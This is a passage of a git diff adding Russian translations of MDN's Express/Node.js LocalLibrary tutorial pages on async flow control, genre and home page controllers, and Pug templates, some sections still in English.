является объектом. Как видно, результаты возвращаются в объекте с такими же именами свойств, как у переданных функций.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">parallel</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + one<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + two<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> + something_else<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// 'results' равны: {one: 1, two: 2, ..., something_else: some_value}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>Если вместо объекта передать <em>массив </em>функций как первый аргумент, результатом будет массив (порядок результатов в массиве такой же, как и порядок функций в массиве, а не порядок выполнения функций).</p> + +<h2 class="highlight-spanned" id="Последовательные_асинхронные_операции"><span class="highlight-span">Последовательные асинхронные операции</span></h2> + +<p>Для выполнения нескольких асинхронных операций последовательно используется метод <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> , при этом <span class="highlight-span">последующие функции не зависят от результатов предыдущих функций</span>. Метод определяется и ведет себя так же, как и <code>async.parallel()</code>.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + one<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + two<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> + something_else<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback after the last asynchronous function completes.</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// 'results' is now equals to: {one: 1, two: 2, ..., something_else: some_value} </span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>Заметка:</strong> Спецификация языка ECMAScript (JavaScript) устанавливает, что порядок в перечислении объектов не определен, поэтому возможно, что функции не будут вызываться в том порядке, в котором вы их задали на всех платформах. Если порядок вызова действительно важен, вместо объекта следует передавать массив, как показано ниже.</p> +</div> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">[</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// do some stuff ...</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'one'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// do some more stuff ... </span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'two'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">]</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// results is now equal to ['one', 'two'] </span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="Последовательные_зависимые_асинхронные_операции"><span class="highlight-span">Последовательные зависимые асинхронные операции</span></h2> + +<p>Выполнение нескольких асинхронных операций последовательно, когда каждая операция зависит от результатов предыдущих операций, осуществляется методом <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code>.</p> + +<p>Функции-callback, которая вызываются асинхронными функциями , содержит <code>null</code> как первый аргумент, и результаты в следующих аргументах. Каждая функция в последовательности (кроме первой) как аргументы использует результаты предыдущих функция, а callback-функция является последним аргументом. Когда операции завершаются, вызывается финальная callback-функция, аргументы которой - объект err и результат последней операции. Как это работает, станет более ясным после рассмотрения примера - фрагмента кода, приведенного ниже ( пример взят из документации <em>async</em>):</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">waterfall</span><span class="punctuation token">(</span><span class="punctuation token">[</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{//первая функция в цепочке</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'one'</span><span class="punctuation token">,</span> <span class="string token">'two'</span><span class="punctuation token">)</span><span class="punctuation token">;//результаты 'one' и 'two'</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>arg1<span class="punctuation token">,</span> arg2<span class="punctuation token">,</span> callback<span class="punctuation token">)</span> <span class="punctuation token">{//вторая функция в цепочке</span> + <span class="comment token">// arg1 равен 'one' , arg2 равен 'two' </span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'three'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> //результат 'three' + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>arg1<span class="punctuation token">,</span> callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// arg1 равен 'three'</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'done'</span><span class="punctuation token">)</span><span class="punctuation token">; //результат 'done'</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> result<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// result равен 'done'</span> +<span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="Установка_async"><span class="highlight-span">Установка async</span></h2> + +<p>Установим модуль async при помощи менеджера пакетов NPM, чтобы использовать его в своем коде. Это делается обычным способом - откроем окно команд в корне проекта <em>LocalLibrary</em> и введем команду:</p> + +<pre class="brush: bash line-numbers language-bash"><code class="language-bash">npm install async</code></pre> + +<h2 id="Дальнейшие_шаги">Дальнейшие шаги</h2> + +<ul> + <li>Вернуться учебнику <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express, Part 5: Вывести данные библиотеки</a>.</li> + <li>Перейти к следующему разделу части 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer">Основы шаблонов</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html new file mode 100644 index 0000000000..be5bd57962 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html @@ -0,0 +1,121 @@ +--- +title: Страница с подробностями жанров +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page +--- +<p>Страница "подробности" (<em>detail)</em> для жанров должна показывать информацию для отдельного жанра по его автоматически генерируему идентификатору <code>_id</code>. Должно быть показано название жанра и список книг этого жанра, со ссылками на страницу с детальной информацией для каждой книги.</p> + +<h2 id="Controller">Controller</h2> + +<p>Откройте файл<em> </em><strong>/controllers/genreController.js</strong> и импортируйте модули <em>async</em> и <em>Book</em> в первых строках файла.</p> + +<pre class="brush: js">var Book = require('../models/book'); +var async = require('async'); +</pre> + +<p>Найдите экспортируемый метод контроллера <code>genre_detail</code><code>()</code> и замените его следующим кодом:</p> + +<pre class="brush: js">// Display detail page for a specific Genre. +exports.genre_detail = function(req, res, next) { + +<strong> async.parallel({ + genre: function(callback) { + Genre.findById(req.params.id) + .exec(callback); + }, + + genre_books: function(callback) { + Book.find({ 'genre': req.params.id }) + .exec(callback); + }, + + }, function(err, results) { + if (err) { return next(err); } + if (results.genre==null) { // No results. + var err = new Error('Genre not found'); + err.status = 404; + return next(err); + } + // Successful, so render + res.render('genre_detail', { title: 'Genre Detail', genre: results.genre, genre_books: results.genre_books } ); + });</strong> + +}; +</pre> + +<p>Метод использует <code>async.parallel()</code> для параллельного запроса названия жанра и связанных с ним книг, причем callback-функция возвращает страницу, когда (если) оба запроса завершились успешно.</p> + +<p>The ID of the required genre record is encoded at the end of the URL and extracted automatically based on the route definition (<strong>/genre/:id</strong>). The ID is accessed within the controller via the request parameters: <code style="font-style: normal; font-weight: normal;">req.params.id</code>. It is used in <code style="font-style: normal; font-weight: normal;">Genre.findById()</code> to get the current genre. It is also used to get all <code>Book</code> objects that have the genre ID in their <code>genre</code> field: <code>Book.find({ 'genre': req.params.id })</code>.</p> + +<div class="note"> +<p><strong>Note:</strong> If the genre does not exist in the database (i.e. it may have been deleted) then <code>findById()</code> will return successfully with no results. In this case we want to display a "not found" page, so we create an <code>Error</code> object and pass it to the <code>next</code> middleware function in the chain. </p> + +<pre class="brush: js"><strong>if (results.genre==null) { // No results. + var err = new Error('Genre not found'); + err.status = 404; + return next(err); +}</strong> +</pre> + +<p>The message will then propagate through to our error handling code (this was set up when we <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website#error_handling">generated the app skeleton</a> - for more information see <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Handling_errors">Handling Errors</a>).</p> +</div> + +<p>The rendered view is <strong>genre_detail</strong> and it is passed variables for the <code>title</code>, <code>genre</code> and the list of books in this genre (<code>genre_books</code>).</p> + +<h2 id="View">View</h2> + +<p>Create <strong>/views/genre_detail.pug</strong> and fill it with the text below:</p> + +<pre class="brush: js">extends layout + +block content + + <strong>h1 Genre: #{genre.name}</strong> + + div(style='margin-left:20px;margin-top:20px') + + h4 Books + + dl + each book in genre_books + dt + a(href=book.url) #{book.title} + dd #{book.summary} + + else + p This genre has no books +</pre> + +<p>The view is very similar to all our other templates. The main difference is that we don't use the <code>title</code> passed in for the first heading (though it is used in the underlying <strong>layout.pug</strong> template to set the page title).</p> + +<h2 id="What_does_it_look_like">What does it look like?</h2> + +<p>Run the application and open your browser to <a href="http://localhost:3000/">http://localhost:3000/</a>. Select the <em>All genres</em> link, then select one of the genres (e.g. "Fantasy"). If everything is set up correctly, your page should look something like the following screenshot.</p> + +<p><img alt="Genre Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14462/LocalLibary_Express_Genre_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 523px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p>You might get an error similar to this:</p> + +<pre class="brush: bash">Cast to ObjectId failed for value " 59347139895ea23f9430ecbb" at path "_id" for model "Genre" +</pre> + +<p>This is a mongoose error coming from the <strong>req.params.id</strong>. To solve this problem, first you need to require mongoose on the <strong>genreController.js</strong> page like this:</p> + +<pre class="brush: js"> var mongoose = require('mongoose'); +</pre> + +<p>Then use <strong>mongoose.Types.ObjectId() </strong>to convert the id to a that can be used. For example:</p> + +<pre class="brush: js">exports.genre_detail = function(req, res, next) { + var id = mongoose.Types.ObjectId(req.params.id); + ... +</pre> +</div> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page">Book detail page</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html new file mode 100644 index 0000000000..248187f1a5 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html @@ -0,0 +1,134 @@ +--- +title: Home page +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Home_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Home_page +--- +<p>Первой создаваемой страницей будет домашняя страница веб-сайта, доступная из корня сайта (<code>'/'</code>) или из каталога (<code>catalog/</code>). На странице будет виден статический текст, описывающий сайт, и динамически вычисляемые "количества" записей разных типов имеющихся в БД.</p> + +<p>Маршрут для домашней страницы уже создан. Для завершения страницы обновить функции контроллера, чтобы он извлекал количество записей из БД, и создавал представление (шаблон), который можно использовать для презентации страницы.</p> + +<h2 id="Маршрут">Маршрут</h2> + +<p>Маршруты индексной страницы созданы ранее в предыдущем разделе (<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">previous tutorial).</a> Напомним, все функции маршрутов определены в файле <strong>/routes/catalog.js</strong>:</p> + +<pre class="brush: js ">// GET catalog home page. +router.get('/', book_controller.index); //This actually maps to /catalog/ because we import the route with a /catalog prefix</pre> + +<p>Параметр callback-функции определен в <strong>/controllers/bookController.js</strong>:</p> + +<pre class="brush: js">exports.index = function(req, res, next) { + res.send('NOT IMPLEMENTED: Site Home Page'); +}</pre> + +<p>Именно эту функцию контроллера мы расширим, чтобы получать информацию из моделей и затем отображать ее, используя шаблоны (представления).</p> + +<h2 id="Контроллер">Контроллер</h2> + +<p>Функция контроллера индекса должна получать информацию о том, сколько книг (<code>Book)</code>, экземпляров книг (<code>BookInstance)</code>, сколько из них доступно, сколько авторов (<code>Author)</code>, жанров (<code>Genre)</code> имеется в БД, должна поместить эту информацию в шаблон, чтобы создать HTML-страницу, после чего вернуть ее в HTTP-ответе.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Количество экземпляров в каждой модели вычисляется при помощи метода <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.countDocuments" rel="noopener">countDocuments()</a></code> . Он вызывается для модели с возможным набором условий, необходимых для проверки соответствия первому аргументу и callback-функции второго аргумента (обсуждалось ранее в "Использование базы данных с Mongoose" <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Using a Database (with Mongoose)</a>), причем можно вернуть также запрос <code>Query,</code> а затем выполнить его позже при помощи callback. Эта callback-функция будет выполняться, когда БД вернет количество записей. Значение ошибки (or <code>null</code>) будет первым параметром, а количество записей (или null, если была ошибка) - вторым параметром.</p> + +<pre class="brush: js ">SomeModel.countDocuments({ a_model_field: 'match_value' }, function (err, count) { + // ... do something if there is an err + // ... do something with the count if there was no error + });</pre> +</div> + +<p>Откройте файл <strong>/controllers/bookController.js</strong>. Почти в самом начале вы должны увидеть экспортируемую функцию <code>index()</code> .</p> + +<pre class="brush: python ">var Book = require('../models/book') + +exports.index = function(req, res, next) { + res.send('NOT IMPLEMENTED: Site Home Page'); +}</pre> + +<p>Замените весь код, показанный выше, на следующий фрагмент кода. Первое, что он делает - импортирует (<code>require()</code>) все модели (выделено жирным). Это требуется, поскольку они нужны для подсчета числа записей. Затем импортируется модуль <em>async</em> .</p> + +<pre class="brush: js "><strong>var Book = require('../models/book'); +var Author = require('../models/author'); +var Genre = require('../models/genre'); +var BookInstance = require('../models/bookinstance');</strong> + +var async = require('async'); + +exports.index = function(req, res) { + + async.parallel({ + book_count: function(callback) { + Book.count<s>Documents</s>({}, callback); // Pass an empty object as match condition to find all documents of this collection +// count<s>Documents</s> не работает, работает только просто count + }, + book_instance_count: function(callback) { + BookInstance.count<s>Documents</s>({}, callback); + }, + book_instance_available_count: function(callback) { + BookInstance.count<s>Documents</s>({status:'Available'}, callback); + }, + author_count: function(callback) { + Author.count<s>Documents</s>({}, callback); + }, + genre_count: function(callback) { + Genre.count<s>Documents</s>({}, callback); + } + }, function(err, results) { + res.render('index', { title: 'Local Library Home', error: err, data: results }); + }); +};</pre> + +<p>Метод <code>async.parallel()</code> передает объект с функциями для получения количества элементов каждой модели. Все эти функции стартуют одновременно. Когда все они завершатся, будет вызвана финальная callback-функция, в итоговом параметре которой содержится нужный нам результат (или ошибка).</p> + +<p>При успешном завершении callback-функции она вызывает <code><a class="external external-icon" href="http://expressjs.com/en/4x/api.html#res.render" rel="noopener">res.render()</a></code>, у которой в качестве параметров - представление (шаблон) '<strong>index</strong>' и объект, содержащий данные, которые следует поместить в шаблон (среди них - количества элементов в моделях). Данные представлены как пары ключ-значение, и могут быть получены в шаблоне по ключу.</p> + +<div class="note"> +<p><strong>Заметка:</strong> В данном случае callback-функция, которую вызывает <code>async.parallel()</code> , несколько необычная - страница отображается всегда, независимо от того, была ошибка или нет (обычно используют отдельный путь выполнения для обработки выводимых ошибок).</p> +</div> + +<h2 id="Представление">Представление</h2> + +<p>Откройте файл <strong>/views/index.pug</strong> и замените его содержимое текстом, приведенным ниже</p> + +<pre class="brush: js ">extends layout + +block content + h1= title + p Welcome to #[em LocalLibrary], a very basic Express website developed as a tutorial example on the Mozilla Developer Network. + + h1 Dynamic content + + if error + p Error getting dynamic content. + else + p The library has the following record counts: + + ul + li #[strong Books:] !{data.book_count} + li #[strong Copies:] !{data.book_instance_count} + li #[strong Copies available:] !{data.book_instance_available_count} + li #[strong Authors:] !{data.author_count} + li #[strong Genres:] !{data.genre_count}</pre> + +<p>Представление несложное. Мы расширили базовый шаблон <strong>layout.pug</strong>, переопределив блок (<code>block)</code> с именем '<strong>content</strong>'. Первый заголовок <code>h1</code> будет экранированным текстом - значением переменной <code>title</code> ,variable that которая передается в функцию <code>render()</code> —заметьте, что применение '<code>h1=</code>' говорит, что следующий текст рассматривается как выражение JavaScript. Затем расположен параграф, знакомящий с LocalLibrary.</p> + +<p>Под заголовком <em>Dynamic content</em> мы проверяем, определена ли переданная из функции <code>render()</code> переменная error. Если да, отмечаем ошибку. Если нет, выводим ( как список) количества копий каждой модели, которые хранятся в переменной <code>data</code>.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Мы не экранируем количества элементов (т.е. используется синтаксис <code>!{}</code> ) потому что эти значения вычисляются. Если бы информация предоставлялась конечным пользователем, следовало бы экранировать переменную перед выводом.</p> +</div> + +<h2 id="Как_это_выглядит">Как это выглядит?</h2> + +<p>Сейчас у нас есть все для того, чтобы показать страницу index. Запустите приложение и откройте браузер с адресом <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Если все задано правильно, ваш сайт должен иметь примерно такой вид, как на приведенном снимке экрана.</p> + +<p><img alt="Home page - Express Local Library site" src="https://mdn.mozillademos.org/files/14458/LocalLibary_Express_Home.png" style="display: block; height: 440px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p><strong>Заметка:</strong> Элементы бокового меню использовать еще нельзя, так как адреса, представления и шаблоны для этих страниц еще не определены. Если вы попытаетесь их использовать, будет выведено сообщение об ошибке, например, вида "NOT IMPLEMENTED: Book list" (НЕ РЕАЛИЗОВАНО: список книг), в зависимости от выбранного элемента меню. Эти строковые литералы (которые будут замещены действительными данными) были заданы в различных файлах контроллеров в каталоге "controllers".</p> +</div> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page">Book list page</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/index.html new file mode 100644 index 0000000000..bb2e804d2e --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/index.html @@ -0,0 +1,83 @@ +--- +title: 'Учебник Express часть 5: Отображение данных библиотеки' +slug: Learn/Server-side/Express_Nodejs/Displaying_data +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a> и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определенного типа мы имеем и отдельные страницы для детального просмотра записей. Попутно мы приобретем практический опыт в получении записей из баз данных и использовании шаблонов.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Предварительные знания:</th> + <td>Завершите изучение предыдущих тем учебника (включая <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Учебник Express часть 4: Маршруты и контроллеры</a>).</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понять, как использовать асинхронный модуль и язык шаблона Pug, и как получить данные из URL в наших функциях контроллера.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>В предыдущих статьях учебника мы определили <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Mongoose модели</a>, которые можно использовать для взаимодействия с базой данных и создания некоторых исходных записей библиотеки. Затем мы <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">создали все маршруты</a>, необходимые для веб-сайта LocalLibrary, но с "фиктивными" функциями контроллеров (это скелетные функции, которые просто возвращают сообщение "не реализовано " при доступе к странице).</p> + +<p>Следующим шагом является обеспечение правильных реализаций для страниц, которые отображают информацию из библиотеки (мы рассмотрим реализацию страниц с формами для создания, обновления или удаления информации в последующих статьях). Это включает в себя обновление функций контроллера для извлечения записей с помощью наших моделей и определение шаблонов для отображения этой информации пользователям.</p> + +<p>Мы начнем с обзорных / основных тем, объясняющих, как управлять асинхронными операциями в функциях контроллера и как писать шаблоны с помощью Pug. Затем мы предоставим реализации для каждой из наших основных страниц" только для чтения " с кратким объяснением любых специальных или новых функций, которые они используют.</p> + +<p>В конце этой статьи вы должны иметь хорошее сквозное понимание того, как маршруты, асинхронные функции, представления и модели работают на практике.</p> + +<h2 id="Отображение_данных_библиотеки_—_подразделы">Отображение данных библиотеки — подразделы</h2> + +<p>Следующие подразделы проходят процесс добавления различных функций, необходимых для отображения необходимых страниц веб-сайта. Вы должны прочитать и проработать каждый из них по очереди, прежде чем перейти к следующему.</p> + +<ol> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async">Aсинхронное управление потоками с помощью async</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer">Пример шаблона</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template">Базовые шаблоны LocalLibrary</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Home_page">Домашняя страница</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page">Страница списка книг</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page">Страница списка экземпляров книг</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment">Форматирование даты с момента использования</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page">Страница списка авторов и страница списка жанров</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page">Страница сведений о жанре</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page">Страница сведений о книге</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page">Страница информации об авторе</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge">Страница сведений об экземпляре книги и вызове</a></li> +</ol> + +<h2 id="Итог">Итог</h2> + +<p>Теперь мы создали все страницы "только для чтения " для нашего сайта: домашнюю страницу, которая отображает количество экземпляров каждой из наших моделей, а также список и подробные страницы для наших книг, экземпляров книг, авторов и жанров. По пути мы получили много фундаментальных знаний о контроллерах, управлении потоком при использовании асинхронных операций, создании представлений с помощью Pug, запросе базы данных с помощью наших моделей, как передавать информацию в шаблон из вашего представления, а также как создавать и расширять шаблоны. Те, кто выполнил вызов также узнали немного о дате обработки с помощью момента.</p> + +<p>В нашей следующей статье мы будем опираться на наши знания, создавая HTML-формы и код обработки форм, чтобы начать изменять данные, хранящиеся на сайте.</p> + +<h2 id="Смотрите_так_же">Смотрите так же</h2> + +<ul> + <li><a href="http://caolan.github.io/async/docs.html">Aссинхроный модуль</a> (Асинхронные документация)</li> + <li><a href="https://expressjs.com/en/guide/using-template-engines.html">Использование механизмов шаблонов с Express</a> (Express документация)</li> + <li><a href="https://pugjs.org/api/getting-started.html">Pug</a> (Pug документация)</li> + <li><a href="http://momentjs.com/docs/">Moment</a> (Moment документация)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html new file mode 100644 index 0000000000..13c61ea6cb --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html @@ -0,0 +1,69 @@ +--- +title: Базовый шаблон LocalLibrary +slug: Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template +--- +<p>Теперь, чтобы мы понимали как расширить шаблон с помощью Pug, давайте создадим базовый шаблон для проекта. У него будет боковая панель (sidebar)) со ссылками на страницы, которые мы надеемся создать на протяжении учебника (например, для отображения и создания книг, жанров, автор иов т. д.) и основная область контента, которую мы переопределим на каждой из отдельных страниц.</p> + +<p>Откройте файл <strong>/views/layout.pug </strong>и замените его содержимое следующим.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html +html(lang='en') + head + title= title + meta(charset='utf-8') + meta(name='viewport', content='width=device-width, initial-scale=1') + link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css') + script(src='https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js') + script(src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js') + link(rel='stylesheet', href='/stylesheets/style.css') + body + div(class='container-fluid') + div(class='row') + div(class='col-sm-2') + 